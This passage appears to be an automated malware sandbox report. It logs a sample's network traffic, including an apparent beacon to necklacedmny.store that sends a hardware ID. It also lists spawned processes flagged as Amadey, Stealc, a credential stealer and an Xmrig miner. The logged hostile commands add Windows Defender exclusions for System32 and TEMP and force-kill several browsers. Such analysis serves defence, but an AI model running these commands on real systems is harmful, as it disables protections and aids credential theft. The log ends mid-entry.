2024-10-31 01:10:40 UTC	15331	OUT	Data Raw: 64 d4 7d 7e 20 be 71 08 9c 08 91 fc ee b1 b9 4a 56 57 45 d4 da 3b 79 3d 46 a7 87 78 ce 5d 93 4b 39 a9 d0 cd 97 97 24 bc d0 d6 18 35 c9 ef 47 6f c8 49 26 7e c7 a1 81 96 84 60 6c cc 1e 8c 17 eb 22 03 d5 1e 13 6a 6a 5a 0e 2b 3d 18 75 52 41 66 7d 5f fb 58 b5 3e c7 d4 bb 5d 1f c1 c7 1d 74 c2 77 bc ff b0 cc f6 fc 27 06 5e 7e f7 f5 9c 89 ec 58 97 3b 45 9f 4f eb 8a dc 7f a8 47 70 70 a0 f5 34 de 3c 44 1c de df ac 11 4e 38 78 78 e6 37 ed a8 65 4e 64 22 23 be c0 58 60 5c ac c6 5e 37 6f e1 cc 68 96 be 80 97 af 86 7c 34 ff 4a 7e 87 fa f1 dd ed 70 bc c0 2e ad cb a7 89 99 11 f8 e7 f7 da bb 72 97 39 25 82 27 e6 7d 2e 3b 47 61 86 a1 7b f2 18 41 29 c4 7a 43 66 30 bb 58 23 f7 85 14 1e 73 0e e4 ed 11 8c 52 a6 54 5c b4 eb 8f 42 2c 24 ce d6 ea 2b 7a ff df a9 fa ff df 05 52 21 Data Ascii: d}~ qJVWE;y=Fx]K9$5GoI&~`l"jjZ+=uRAf}_X>]tw'^~X;EOGpp4<DN8xx7eNd"#X`\^7oh\|4J~p.r9%'}.;Ga{A)zCf0X#sRT\B,$+zR!
2024-10-31 01:10:40 UTC	15331	OUT	Data Raw: 3e 03 9a cf 40 a8 c4 94 fa 45 88 6c 94 5d 33 2c c1 8f ed 71 07 19 71 b9 af b2 ab 61 0a f1 15 eb 61 27 1c 3f 7b c3 56 9f f6 26 84 7a 91 bf 5a 08 ce 24 b1 79 f5 81 4f 6e 43 33 6a 8b 85 eb df 4c 0f 92 2d b9 cf 39 29 a5 fd 23 84 37 33 85 1a 7b a5 de d0 92 77 3b ea 5c be 5b fc ee b5 2e 9a 4c d7 01 75 e1 31 b3 17 67 a9 cb 7c 43 f9 a8 f0 b3 84 47 7b 3c 82 52 91 26 0a 55 d7 7c d8 c9 83 61 63 b1 6d f6 43 06 3c 28 b7 e5 c8 7a ca 73 27 0f 9f 8d e4 1a e2 19 ea f3 77 71 27 5f 8f 0a e0 90 0d a6 0c b9 b1 aa 04 4c 54 00 0e b8 35 99 cb 50 b4 33 61 0f 4d 7c a1 89 b6 04 fa f8 0c 35 08 82 b8 57 85 57 0e 4f 8d 05 92 fa 55 e7 06 43 8d 94 7e 36 6d 98 82 46 0b d5 c4 90 78 24 b6 64 45 40 5f 0f b9 b6 79 c1 37 79 68 36 29 66 a7 6f 51 75 e5 a7 7f 50 6a 2f d5 ef 1a c9 29 ad f2 41 73 Data Ascii: >@El]3,qqaa'?{V&zZ$yOnC3jL-9)#73{w;\[.Lu1g\|CG{<R&U\|acmC<(zs'wq'_LT5P3aM\|5WWOUC~6mFx$dE@_y7yh6)foQuPj/)As
2024-10-31 01:10:40 UTC	15331	OUT	Data Raw: 77 86 21 f2 2f 23 f0 6c 41 50 23 92 b1 ca f6 33 9b b4 1d e2 a5 d5 bb 56 d6 bb 12 35 99 27 10 d1 27 d1 54 10 d6 e3 42 ad 66 56 30 e3 96 8e dd 13 d5 8d bb b7 ff 73 c1 23 71 1a ff 12 bf 6a ac 12 8d 67 59 78 ad f7 0a 5e 73 c7 8b af 55 60 78 c4 32 c2 23 7a 55 68 c9 41 80 a1 6d 90 d7 7d 04 bc 3f aa 2a b0 b0 3c b9 9c 55 a3 1b 83 99 b5 1c 36 91 46 92 fe a5 a4 ac 21 af 33 55 22 44 e9 96 cb c9 14 23 80 6f 26 52 2b 6c cb 7c ce c6 12 ab 0e 6f f7 7c a7 c8 ee a4 b7 0c 77 be 4f d4 f2 2d f5 e4 cc bb 73 7c e8 4b 8b 9f 29 eb ee ef 7e a8 2f fe 04 a4 0c 1f 46 92 fe 0b 04 6d 7f 40 e9 95 9e 1d 31 24 cd fc ae 97 cb 2d e0 61 a4 05 96 9a 37 ed fd 26 be 73 84 8a c9 99 98 10 53 1c 60 17 df ca 78 d1 99 b3 99 fc dd 56 09 ca b2 c9 f0 fe ee 9b 8e 02 7f ca 90 9c fc 37 57 41 46 9b 25 0e Data Ascii: w!/#lAP#3V5''TBfV0s#qjgYx^sU`x2#zUhAm}?*<U6F!3U"D#o&R+l\|o\|wO-s\|K)~/Fm@1$-a7&sS`xV7WAF%
2024-10-31 01:10:40 UTC	15331	OUT	Data Raw: d5 90 3d c5 e1 0b ec ce 37 75 da 9c 51 8c b6 86 80 e9 35 57 41 a8 89 55 58 bf fb dd c2 9d 84 96 75 1f 4f 76 d5 5c 3f 0e be 65 e8 2f 10 08 81 95 ed d5 2a cc af b2 5b 78 bf 63 95 e5 83 d9 c5 8b 94 c5 65 f5 40 e6 cd 0a 84 90 17 91 2f 4a 28 38 d5 e9 5b 26 f8 11 b0 93 af 4f eb c9 2f 3d b5 a0 1a 41 a4 73 ad 76 48 7c 7a c8 82 7a 1b 0e 7a 09 18 18 cc ac 77 34 b3 1c 0f f2 76 49 81 bd cc a3 0d f5 ee 80 b2 0f 9f 11 1b 3d 20 02 0a b3 57 fd 5b 8f 98 31 5e 09 80 3d 2d b0 3a 3e f3 18 70 12 c7 06 3e 15 eb 9a e1 01 07 78 5c b1 c0 e5 30 6c 0f ec 46 47 e0 52 cc 4b 31 fc 99 77 b4 6f a3 3e 6e d1 af ba 08 e0 12 3b 5d 99 fd f0 da 60 93 19 01 65 ff 99 c2 07 8d 1f 23 a3 39 fe fb f1 2a 0c 95 56 13 b9 f6 9f 98 1d 8c 5b 17 94 b0 00 93 26 db 68 44 36 58 75 c2 9c 02 64 73 72 42 92 a7 Data Ascii: =7uQ5WAUXuOv\?e/[xce@/J(8[&O/=AsvH\|zzzw4vI= W[1^=-:>p>x\0lFGRK1wo>n;]`e#9V[&hD6XudsrB
2024-10-31 01:10:40 UTC	15331	OUT	Data Raw: 09 e8 8e 17 6e 43 2f 09 a0 e0 0d 49 eb d2 fd c4 d8 8f c6 eb 2b 0f ca cf 1d d5 33 47 7f d4 39 2c 25 e5 bd 13 85 77 f7 26 1c d6 70 fb 3b ae e6 6c 1e b5 18 83 d1 8c d6 6e 64 4c e1 1d 40 d8 1f 48 b1 f6 03 f4 60 dc ff 2a ed 24 a9 13 45 9e 41 ca 2a 8c ce 37 d2 57 02 5a 21 59 37 09 3d b6 ce f2 96 38 d2 10 4d cf b6 69 1b 05 d0 18 31 ba 75 4e 6b 78 b4 de b9 89 91 4e 49 c5 0e d9 e8 e4 2d 24 8d 8b df e2 93 44 ec 42 4a d9 39 0d 52 3b 84 e6 c5 05 7c 2d ae 86 5e 89 a1 5a 54 e9 6d a8 27 8d 72 e4 fb 5b 3e e2 83 30 cf 7c 9f 3e 4d 02 75 ef 01 ad f6 8d ca 99 1f 24 bb 23 a6 53 9b 5f 83 87 2a 7e 90 74 44 5c af 40 0a 77 2c ea 46 f3 e6 f9 ac 63 4d 66 40 d7 cc 97 41 06 0a 5c 69 51 1c a0 bd e6 79 9f 3e 47 73 01 31 fe bc de bf d2 81 dd 24 fb a7 1a b9 1a e1 7d d7 0c c6 ea 3a 09 85 Data Ascii: nC/I+3G9,%w&p;lndL@H`$EA7WZ!Y7=8Mi1uNkxNI-$DBJ9R;\|-^ZTm'r[>0\|>Mu$#S_*~tD\@w,FcMf@A\iQy>Gs1$}:
2024-10-31 01:10:40 UTC	15331	OUT	Data Raw: 23 b5 b4 0a d9 fc 5c 20 96 5e 66 3e aa 1f da bc cc bd 08 c8 02 d0 78 5f 9d 61 87 a4 7f bc ab ff ae 87 ae e8 7f e1 27 b6 e7 ed 2b 44 fd 26 c5 9d 3e e6 20 eb bc d0 16 f6 8b a8 0a b7 17 a1 3c 49 de 66 e0 04 59 01 32 6c dd 68 2d ca df bb 17 b6 a8 5a eb 59 97 b7 7e 30 f3 36 8c f7 8c b1 92 d8 b3 9e a2 91 43 33 5d 52 be 80 72 36 0f 94 41 fc 3c 25 3b 44 13 06 ee 3b f3 89 28 b8 a2 18 d3 f7 c0 2e 51 bc ff df 57 a8 ab 52 3d b5 b4 0f 81 c2 73 c7 6d e8 b4 0e 92 0a 0a 64 a9 5e a0 c2 70 38 6a 07 58 40 ad ed 62 e5 d2 a8 28 18 15 8f a2 e1 61 c2 20 5c 81 b1 37 13 c4 be a3 02 62 8b 3b 00 b0 e7 72 10 ff 36 4c 30 86 d4 b7 da be 8f 9c 74 c0 bd bd 56 a5 bf 3b 5e 3d 47 b8 e5 00 1e 7b 8e e2 00 51 bc 7e d6 67 ff 2d f8 40 78 68 60 07 0b 18 e5 8e 71 c7 09 9f c3 16 15 75 fc 9c af ab Data Ascii: #\ ^f>x_a'+D&> <IfY2lh-ZY~06C3]Rr6A<%;D;(.QWR=smd^p8jX@b(a \7b;r6L0tV;^=G{Q~g-@xh`qu
2024-10-31 01:10:42 UTC	1021	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 01:10:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=adtnp9g2in93363oansrgtt4da; expires=Sun, 23-Feb-2025 18:57:21 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4WOE2qjB%2BtvCHlpWOXmaPPyUzkCQlPeAzk9D0abF7l0pe0%2BbjkmZXN6T5Xr76bGIreUEpToN6HmV4TO4MsnLuyqD8LidKcLmFdJSvmwe3%2FEBc7OzQvBexScd11vWAGyBPtHC2KI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dafc4491b1b4772-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1112&sent=219&recv=624&lost=0&retrans=0&sent_bytes=2844&recv_bytes=588500&delivery_rate=2511708&cwnd=239&unsent_bytes=0&cid=102fb2df07b1c912&ts=1938&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.5	50035	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 01:10:43 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: necklacedmny.store
2024-10-31 01:10:43 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 45 33 33 43 43 45 32 45 39 42 43 31 30 36 46 43 46 36 45 34 30 42 46 46 31 33 35 42 36 44 43 45 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=E33CCE2E9BC106FCF6E40BFF135B6DCE

Target ID:	0
Start time:	21:07:56
Start date:	30/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x480000
File size:	3'000'320 bytes
MD5 hash:	B46936CFFDC42CDAE5D2AC630D4D2EA3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	21:08:19
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe"
Imagebase:	0x7b0000
File size:	2'882'048 bytes
MD5 hash:	206A7FA3578F27CD6E06D5D1F3AE8224
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	21:08:20
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe"
Imagebase:	0xee0000
File size:	1'864'192 bytes
MD5 hash:	6103F5423F45BC980683947A92E84BCE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000004.00000003.2281466208.00000000049B0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000004.00000002.2324518597.0000000000EE1000.00000040.00000001.01000000.00000008.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	21:08:23
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x980000
File size:	1'864'192 bytes
MD5 hash:	6103F5423F45BC980683947A92E84BCE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000005.00000003.2307591967.0000000004A10000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000005.00000002.2351335832.0000000000981000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	21:09:00
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x980000
File size:	1'864'192 bytes
MD5 hash:	6103F5423F45BC980683947A92E84BCE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000007.00000002.3301270870.0000000000981000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000007.00000003.2672318109.0000000005140000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	21:09:16
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002753001\configuredInstallerEXE.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\1002753001\configuredInstallerEXE.exe"
Imagebase:	0x7ff733fd0000
File size:	7'758'336 bytes
MD5 hash:	2866119CCFAF95432837498B3B31B387
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 34%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	21:09:17
Start date:	30/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k BackupOfflineDownload -s BackupOfflineDownload
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	21:09:19
Start date:	30/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c start powershell.exe -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Windows\System32"
Imagebase:	0x7ff749310000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	21:09:19
Start date:	30/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	21:09:19
Start date:	30/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Windows\System32"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	21:09:19
Start date:	30/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	21:09:19
Start date:	30/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c start powershell.exe -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Windows\TEMP\"
Imagebase:	0x7ff749310000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	21:09:19
Start date:	30/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	21:09:19
Start date:	30/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Windows\TEMP\"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	21:09:19
Start date:	30/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	21:09:20
Start date:	30/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k ThreadRestartTerminal -s ThreadRestartTerminal
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000012.00000002.3306996837.000001AF56C83000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000012.00000002.3306996837.000001AF56C89000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	19
Start time:	21:09:23
Start date:	30/10/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff6ef0c0000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	20
Start time:	21:09:23
Start date:	30/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k BackupOfflineDownload -s BackupOfflineDownload
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	21
Start time:	21:09:26
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002754001\Loader_seyhhd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\1002754001\Loader_seyhhd.exe"
Imagebase:	0x7ff73a550000
File size:	3'653'120 bytes
MD5 hash:	D51EB63974474A6E7547C8F3EE8F5C93
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 24%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	21:09:34
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe"
Imagebase:	0xbc0000
File size:	3'000'320 bytes
MD5 hash:	B46936CFFDC42CDAE5D2AC630D4D2EA3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 39%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	21:09:44
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe"
Imagebase:	0xca0000
File size:	2'133'504 bytes
MD5 hash:	7FD1B88D3618D5BA66748524407B39CA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000017.00000003.3116101099.0000000005700000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000017.00000002.3156445874.0000000000CA1000.00000040.00000001.01000000.00000012.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000017.00000002.3158433067.000000000186E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 39%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	21:09:50
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe"
Imagebase:	0xbc0000
File size:	3'000'320 bytes
MD5 hash:	B46936CFFDC42CDAE5D2AC630D4D2EA3
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000018.00000002.3314964247.0000000001402000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	25
Start time:	21:09:52
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002757001\9fee9e49cf.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1002757001\9fee9e49cf.exe"
Imagebase:	0x580000
File size:	919'552 bytes
MD5 hash:	DF53E224B7EC467A1AC0728FCA54456D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialFlusher, Description: Yara detected Credential Flusher, Source: 00000019.00000003.3262105561.00000000013DF000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 47%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	21:09:52
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x780000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	21:09:52
Start date:	30/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	21:09:55
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0x780000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	21:09:55
Start date:	30/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	21:09:55
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0x780000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	21:09:55
Start date:	30/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	21:09:56
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0x780000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	21:09:56
Start date:	30/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	21:09:56
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0x780000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	21:09:56
Start date:	30/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
